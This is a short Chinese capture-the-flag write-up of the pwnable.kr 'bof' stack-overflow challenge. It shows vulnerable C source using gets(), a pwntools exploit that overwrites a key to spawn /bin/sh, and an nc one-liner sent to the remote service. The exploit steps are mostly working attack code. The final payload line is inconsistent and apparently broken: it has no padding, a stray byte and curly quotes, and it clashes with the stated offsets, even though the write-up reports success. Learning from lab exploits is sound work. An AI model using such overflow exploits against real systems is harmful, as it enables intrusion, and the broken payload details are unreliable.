查看程序源码
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
gdb 反汇编调试
可以看出 gets 函数从ebp-0xc 处读取数据 , 然后让ebp-0x8 与 0xcafebabe 比较 若相等则执行 system("/bin/sh")
exp
from pwn import *
sh = process('./bof')
payload = flat(['a'*(0x2c+8) ,0xcafebabe])
sh.sendline(payload)
sh.interactive()
然后我们注入远端服务器
没有任何返回 , 查阅资料发现
当程序接受到 payload ,执行system("/bin/sh") ,将继续尝试读标准输入, 但是以后没有可以读取的数据 , 所有读取到EOF 然后立即退出,
实际上我们实施栈溢出攻击时, 在exp 会写 sh.interactive() 开启交互模式 , 这里同理, 使用cat 继续从标准输入读取 , 将其发送给程序执行命令。
( printf “\x11\xbe\xba\xfe\xca” ; cat ) | nc pwnable.kr 9000
成功注入